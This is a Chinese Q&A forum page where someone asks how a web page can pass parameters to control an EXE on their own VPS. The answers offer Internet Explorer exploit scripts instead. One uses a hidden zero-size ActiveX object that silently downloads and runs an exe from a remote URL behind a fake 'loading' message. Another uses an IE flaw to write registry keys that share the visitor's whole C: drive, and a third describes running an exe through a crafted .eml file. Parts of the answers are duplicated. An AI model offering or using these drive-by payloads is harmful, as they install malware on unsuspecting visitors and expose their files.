如何在网页中打开exe文件,并进行链接操作(求思路求方案)
在VPS上运行EXE程序操作。以IIS架设个网站,进行网页传参操作。判断程序操作动作完成,以事先截好的图显示网页上。如果以网页输入,输入数字后,提交作为操作动作(如IE浏...
在VPS上运行EXE程序操作。以IIS架设个网站,进行网页传参操作。判断程序操作动作完成,以事先截好的图显示网页上。如果以网页输入,输入数字后,提交作为操作动作(如IE浏览器:1,启动。2关闭。3最小化。4工具)如何实现呢?难道再弄个脚本程序,再用网页传参操作脚本? 当然简单点的直接远程就可以了。但主要是网页传参操作。。求思路求方案
555,没分了。。 展开
555,没分了。。 展开
3个回答
推荐于2017-09-18
展开全部
第一种
它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
function
f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl
= a1.GetObject();
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function
init()
{
setTimeout("f()", 1000);
}
init();
</script>
第三种
个人认为是现在最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
它应该算是html带动同路径下的一个exe的文件的主页了,也就是当浏览器浏览这个页面的时候,一个exe的文件就在后台自动下载并执行了,可以做一个test.html的文件在桌面,内容如下:
<script
language="javascript">
run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0
TYPE=\"application/x-oleobject\""
run_exe+="CODEBASE=\"test.exe#version=1,1,1,1\">"
run_exe+="<PARAM
NAME=\"_Version\"
value=\"65536\">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>网页加载中,请稍后....</H1></HTML>";
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
第二种
是通过ie自身的漏洞写入注册表,可以做个页面让浏览者的硬盘完全共享,也是做个html的文件,内容如下:
script
language=javascript>
document.write("<APPLET HEIGHT=0 WIDTH=0
code=com.ms.activeX.ActiveXComponent></APPLET>");
function
f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl
= a1.GetObject();
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD");
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite
("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\");
}
function
init()
{
setTimeout("f()", 1000);
}
init();
</script>
第三种
个人认为是现在最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
展开全部
用 js 代码嵌入,例如下面的这段代码:
<script language="javascript">
run_exe="<OBJECT ID=""RUNIT"" WIDTH=0 HEIGHT=0 TYPE=""application/x-oleobject"""
run_exe+="CODEBASE=""http://**.com/**.exe#version=1,1,1,1"">"
//这里的**.exe就是要运行的程序的网上路径
run_exe+="<PARAM NAME=""_Version"" value=""65536"">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>等会......网页在下载支持的文件</H1></HTML>";
//这里可以写其他任何东西.也可以什么都不写
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
<script language="javascript">
run_exe="<OBJECT ID=""RUNIT"" WIDTH=0 HEIGHT=0 TYPE=""application/x-oleobject"""
run_exe+="CODEBASE=""http://**.com/**.exe#version=1,1,1,1"">"
//这里的**.exe就是要运行的程序的网上路径
run_exe+="<PARAM NAME=""_Version"" value=""65536"">"
run_exe+="</OBJECT>"
run_exe+="<HTML><H1>等会......网页在下载支持的文件</H1></HTML>";
//这里可以写其他任何东西.也可以什么都不写
document.open();
document.clear();
document.writeln(run_exe);
document.close();
</script>
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
最好用的一种,把exe文件作成一个.eml的文件,再用ie的漏洞让一个html的页面执行这个.eml的文件,你的那个小巧的exe文件就被执行了.由于代码过长又因每个exe文件转换后的代码不同所以不可能一一写出
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询